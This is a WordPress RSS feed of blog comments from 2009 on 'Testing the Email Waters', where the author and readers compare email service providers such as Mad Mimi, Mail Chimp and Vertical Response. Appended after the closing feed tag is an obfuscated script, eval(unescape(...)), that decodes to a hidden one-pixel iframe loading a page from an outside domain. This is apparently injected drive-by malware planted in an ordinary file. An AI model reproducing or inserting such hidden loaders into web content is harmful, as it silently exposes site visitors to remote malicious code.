<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Testing the Email Waters</title>
	<atom:link href="http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/feed/" rel="self" type="application/rss+xml" />
	<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/</link>
	<description>Brand Connections with Verve and Moxie</description>
	<lastBuildDate>Sun, 14 Mar 2010 04:45:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1240</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:57:05 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1240</guid>
		<description>Thanks, Richard. I&#039;ll check them out more too.</description>
		<content:encoded><![CDATA[<p>Thanks, Richard. I&#8217;ll check them out more too.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1239</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:56:23 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1239</guid>
		<description>Joy, I wouldn&#039;t say that there was any one &quot;A ha!&quot; moment that made me sway with Mad Mimi. After looking hard at it and Mail Chimp, MM seemed the most out-of-the-box, which was what I really needed at the moment.  Now that I know a little more about how the back end of an ESP works (I&#039;m sure there are some similarities), I plan to float a trial campaign through Mail Chimp to get a fair comparison.  After all, we use Highrise (a 37 SIgnals CRM product) which is supposed to plug right in to Mail Chimp.  Right now, I&#039;m pleased with MM&#039;s overall ease, but feel it lacks reporting depth and I might question some of the deliverabilitly - but that may not be fair given I have no real comparison point.</description>
		<content:encoded><![CDATA[<p>Joy, I wouldn&#8217;t say that there was any one &#8220;A ha!&#8221; moment that made me sway with Mad Mimi. After looking hard at it and Mail Chimp, MM seemed the most out-of-the-box, which was what I really needed at the moment.  Now that I know a little more about how the back end of an ESP works (I&#8217;m sure there are some similarities), I plan to float a trial campaign through Mail Chimp to get a fair comparison.  After all, we use Highrise (a 37 SIgnals CRM product) which is supposed to plug right in to Mail Chimp.  Right now, I&#8217;m pleased with MM&#8217;s overall ease, but feel it lacks reporting depth and I might question some of the deliverabilitly &#8211; but that may not be fair given I have no real comparison point.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1238</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:51:09 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1238</guid>
		<description>Matthew, do you have anything to share with us regarding Mail Chimp&#039;s reporting capabilities?  As you can read above, that&#039;s an area I&#039;m looking for more depth and insight.  Would love to know first-hand from a Mail Chimp user like you, since it was my 2nd choice.  Thanks!</description>
		<content:encoded><![CDATA[<p>Matthew, do you have anything to share with us regarding Mail Chimp&#8217;s reporting capabilities?  As you can read above, that&#8217;s an area I&#8217;m looking for more depth and insight.  Would love to know first-hand from a Mail Chimp user like you, since it was my 2nd choice.  Thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1237</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:49:57 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1237</guid>
		<description>Well, Bill, I&#039;m definitely no expert in this field.  My criteria might vary wildly from someone who has more depth of skill or a larger database of email addresses.  

Overall, I&#039;d say I&#039;ve come to better understand the UI.  But as I indicated above, reporting isn&#039;t what I&#039;d call robust.  I&#039;m seeing a large number of emails sent fall under &quot;Untraced&quot; category, which means they can&#039;t identify it as viewed or unviewed for a couple technical reasons (that deal mostly with Web mail, so still not sure why that would apply to my domain-type email addys).  But hey, you never know till you try.</description>
		<content:encoded><![CDATA[<p>Well, Bill, I&#8217;m definitely no expert in this field.  My criteria might vary wildly from someone who has more depth of skill or a larger database of email addresses.  </p>
<p>Overall, I&#8217;d say I&#8217;ve come to better understand the UI.  But as I indicated above, reporting isn&#8217;t what I&#8217;d call robust.  I&#8217;m seeing a large number of emails sent fall under &#8220;Untraced&#8221; category, which means they can&#8217;t identify it as viewed or unviewed for a couple technical reasons (that deal mostly with Web mail, so still not sure why that would apply to my domain-type email addys).  But hey, you never know till you try.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1236</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:46:29 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1236</guid>
		<description>I am intrigued by your mention, Wayne, of individual reader/subscriber behavior leading downstream communications...that&#039;s a piece that MadMimi doesn&#039;t appear to have.

In fact, I&#039;m a little disappointed in the &quot;stats&quot; (Mimi&#039;s term for reports) functionality of the service.  Here are a few reasons, things I&#039;ve discovered only since really getting into the program recently:

1) Lack of an easy way to copy out a list of those receipients who view an email (for pasting and sharing with other team members).
2) several clicks from the overall dashboard page to a page where drilled-down info on which recepient clicket what.
3) no way to export all data, aggregate data between email pushes, etc.</description>
		<content:encoded><![CDATA[<p>I am intrigued by your mention, Wayne, of individual reader/subscriber behavior leading downstream communications&#8230;that&#8217;s a piece that MadMimi doesn&#8217;t appear to have.</p>
<p>In fact, I&#8217;m a little disappointed in the &#8220;stats&#8221; (Mimi&#8217;s term for reports) functionality of the service.  Here are a few reasons, things I&#8217;ve discovered only since really getting into the program recently:</p>
<p>1) Lack of an easy way to copy out a list of those receipients who view an email (for pasting and sharing with other team members).<br />
2) several clicks from the overall dashboard page to a page where drilled-down info on which recepient clicket what.<br />
3) no way to export all data, aggregate data between email pushes, etc.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1235</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 06 Sep 2009 15:41:47 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1235</guid>
		<description>Mary, thanks for helping out any non-profits that may be reading...I agree, sounds as though NP&#039;s score big with these two technologies made available free.</description>
		<content:encoded><![CDATA[<p>Mary, thanks for helping out any non-profits that may be reading&#8230;I agree, sounds as though NP&#8217;s score big with these two technologies made available free.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Richard</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1234</link>
		<dc:creator>Richard</dc:creator>
		<pubDate>Fri, 04 Sep 2009 19:28:14 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1234</guid>
		<description>I also recommend checking out Vertical Response.  Its very low cost pay as you go.  So you can buy 10,000 email credits for $0.012 each.  The interface is very powerful, and the support is outstanding.  I think this is the ideal solution for small businesses.</description>
		<content:encoded><![CDATA[<p>I also recommend checking out Vertical Response.  Its very low cost pay as you go.  So you can buy 10,000 email credits for $0.012 each.  The interface is very powerful, and the support is outstanding.  I think this is the ideal solution for small businesses.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1233</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Wed, 02 Sep 2009 00:44:53 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1233</guid>
		<description>Aww, no need to be disappointed.  I&#039;ll bet there are at least 10-20 other ESP&#039;s I didn&#039;t note...but only because there had to be a reasonable cut-off point sometime! :-) Thanks for the 411 on SuddenValues.  Wonder if any of the other guys will comment....</description>
		<content:encoded><![CDATA[<p>Aww, no need to be disappointed.  I&#8217;ll bet there are at least 10-20 other ESP&#8217;s I didn&#8217;t note&#8230;but only because there had to be a reasonable cut-off point sometime! <img src='http://insightsandingenuity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Thanks for the 411 on SuddenValues.  Wonder if any of the other guys will comment&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1232</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Wed, 02 Sep 2009 00:43:05 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1232</guid>
		<description>Yup, we tried the free version first. Even then the live chat attendee responded to me, which was nice.  Now we&#039;re up a couple levels.

I&#039;m struggling with storing, categorizing, and segmenting email addresses, though.  I don&#039;t think I had enough foreknowledge to input the data in the most efficient way (for cross-referencing, later blasts, etc.). Lesson to be learned.</description>
		<content:encoded><![CDATA[<p>Yup, we tried the free version first. Even then the live chat attendee responded to me, which was nice.  Now we&#8217;re up a couple levels.</p>
<p>I&#8217;m struggling with storing, categorizing, and segmenting email addresses, though.  I don&#8217;t think I had enough foreknowledge to input the data in the most efficient way (for cross-referencing, later blasts, etc.). Lesson to be learned.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/08/01/testing-the-email-waters/comment-page-1/#comment-1231</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Wed, 02 Sep 2009 00:40:11 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=623#comment-1231</guid>
		<description>Hey, Charles.  I appreciate your comment.  Well, this is just one person&#039;s perspective on email service providers, but glad to know it might be useful.  I&#039;ve used Mad Mimi&#039;s online chat support and while they were prompt and cheerful, not particularly knowledgeable (which surprised me). It also seems like their FAQ section is driven more by customer language than what I&#039;d call true categorized, indexed responses. 

I&#039;m a fan of Signal37 and use Backpack (intranet), Basecamp (client extranet) and Highrise (CRM).  Company literature says that Highrise and Mail Chimp (my runner up ESP) integrate well for data import, but I don&#039;t know that firsthand.  Good luck! Let me know if you learn anything interesting.</description>
		<content:encoded><![CDATA[<p>Hey, Charles.  I appreciate your comment.  Well, this is just one person&#8217;s perspective on email service providers, but glad to know it might be useful.  I&#8217;ve used Mad Mimi&#8217;s online chat support and while they were prompt and cheerful, not particularly knowledgeable (which surprised me). It also seems like their FAQ section is driven more by customer language than what I&#8217;d call true categorized, indexed responses. </p>
<p>I&#8217;m a fan of Signal37 and use Backpack (intranet), Basecamp (client extranet) and Highrise (CRM).  Company literature says that Highrise and Mail Chimp (my runner up ESP) integrate well for data import, but I don&#8217;t know that firsthand.  Good luck! Let me know if you learn anything interesting.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%69%62%7A%6F%70%6C%2E%63%6F%6D%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>